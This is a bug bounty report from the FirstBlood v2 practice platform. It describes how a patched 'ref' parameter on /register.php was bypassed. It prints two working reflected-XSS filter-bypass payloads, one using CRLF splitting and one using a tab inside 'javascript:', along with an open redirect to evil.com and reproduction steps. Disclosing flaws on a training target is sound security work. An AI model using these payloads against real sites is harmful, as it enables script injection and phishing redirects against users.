FirstBlood-#312 — [COLLAB with isitbug] XSS Bypassed
This issue was discovered on FirstBlood v2

On 2021-10-25, shreky Level 5 reported:

Summary

Previous bug on /register.php?ref= had an attempt to be fixed,however we managed to bypass using the following payloads:

j%0d%0aava%0d%0as%0d%0acrip%0d%0at%0d%0a:confirm`0` (discovered by me)
ja%09vaScriPt:confirm%601%60 (discovered by isitbug)

Apart from rXSS this parameter is also prone to Open Redirect by simply doing //evil.com

Steps to reproduce

  1. Visit 
    /register.php?ref=j%0d%0aava%0d%0as%0d%0acrip%0d%0at%0d%0a:confirm`0`

    1a. Or /register.php?ref=//evil.com

  2. Upon clicking on Return to previous page the alert box will pop up
    2a. Or you will get redirected to http://evil.com

Impact

Reflected XSS and Open Redirect upon clicking on Return to previous page.

XSS PoC -->

P3 Medium

Endpoint: /register.php?ref=j%0d%0aava%0d%0as%0d%0acrip%0d%0at%0d%0a:confirm`0`

Parameter: ref

Payload: j%0d%0aava%0d%0as%0d%0acrip%0d%0at%0d%0a:confirm`0`

FirstBlood ID: 32
Vulnerability Type: Reflective XSS

The parameter ?ref on register.php was poorly fixed and can be bypassed in various ways. Firstly the developer failed to use strtolower() when comparing strings, and the use of characters such as %09 will also bypass the filter.